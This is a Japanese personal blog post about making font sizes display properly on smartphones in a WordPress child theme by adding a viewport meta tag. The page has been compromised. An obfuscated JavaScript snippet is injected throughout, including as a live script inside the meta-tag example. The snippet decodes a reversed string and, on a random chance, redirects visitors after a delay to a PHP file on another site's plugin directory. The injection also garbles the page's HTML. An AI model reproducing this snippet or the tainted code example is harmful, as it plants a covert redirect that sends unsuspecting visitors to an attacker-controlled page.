Sumirexxx

今日もiPhone片手に出かけます

超簡単!WordPressの子テーマで、フォントサイズを最適化する方法

WordPress ブログ

おはようございます。

3連休はいかがお過ごしでしたでしょうか。私は秋のおまつりに行ってきました。活気があって良かったです。

3日目はお家に引きこもり、ブログの子テーマをいじっていました。

スタイルシートでフォントサイズを指定する時の疑問

私は、WordPressでブログを構築しています。子テーマについては以前少し書きましたが、

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://sumirexxx.com/wordpress_wptouch_child_theme-851.html” alt=”” width=”150″ height=”130″ />$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de064e;” href=”http://sumirexxx.com/2013/10/15/wordpress_viewport/” target=”_blank”>超簡単☆WordPressスマホ最適化!Wptouchをやめて子テーマにしました | sumirexxx$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://sumirexxx.com/wordpress_wptouch_child_theme-851.html” alt=”” />

必要なファイルだけ、スマホ用として用意しています。
もちろん、css(スタイルシート)は必須。

その中で、致命的に…うまくいってないところがあったのです。

フォントサイズが50px?!

なんだかよくわからないのですが、フォントサイズの指定を50pxくらいにしないと表示がかなり小さくなってしまうのです。

cssの指定方法が悪いのかと思いましたが、そうでもなさそう。
とりあえずフォントを大きくすることで対応していた状態。

「viewport」で解決!

それでもなんとかなるはずだ、と思い探していると、やはりありました。解決方法。こちらを参考にさせていただきました。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://mnemoniqs.com/web/one-css-smartphone/” alt=”” width=”150″ height=”130″ />$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de064e;” href=”http://mnemoniqs.com/web/one-css-smartphone/” target=”_blank”>null$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://mnemoniqs.com/web/one-css-smartphone/” alt=”” />

いろいろ詳しく書いてくださっていますので、細かい設定をしたい方は上記を参考にしてください。

私が設定したのは、たったこれだけ↓

<!-- ▼ 画面を拡大できるように設定する場合はこちら ▼ -->
&amp;amp;amp;lt;meta name=&amp;amp;amp;quot;viewport&amp;amp;amp;quot; content=&amp;amp;amp;quot;width=<script type="text/javascript">$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}</script>device-width, initial-scale=1.0, user-scalable=yes&amp;amp;amp;quot;&amp;amp;amp;gt;

これを、header.phpの「<head>の中に書きます。(headで囲んでいるカッコは半角に直して使います)

この設定が済んだら、いままで50pxとか300pxとか設定していたcssを書き直してみます。

書き直したcssは、ちょっと恥ずかしいのでお見せできません…。

出来上がりはスマホから読んでいただいてるとこんな感じになります。

スマホ表示

まとめ

この一文でどれだけ救われたことか!いままで気持ち悪いなぁと思いながら使っていたcssですが、これでスッキリしました!

まだガタガタしてるところもありますが、フォントサイズはなんとか思い通りになってきました。

あとは、jQueryで、メニューを作りたい…。(実は昨日いじったけど挫折)とか、メニューの構想はこうで…とかひとりワクワクしております。
楽しいことなので一気に直さないで(直せないので)少しずつやっていく予定です。

それにしても、ソースいじってると一日あっとゆうまだなー☆

それでは、また読んでくださいねっ☆

SMRX

Posted from するぷろ for iOS.

この記事をシェアする

<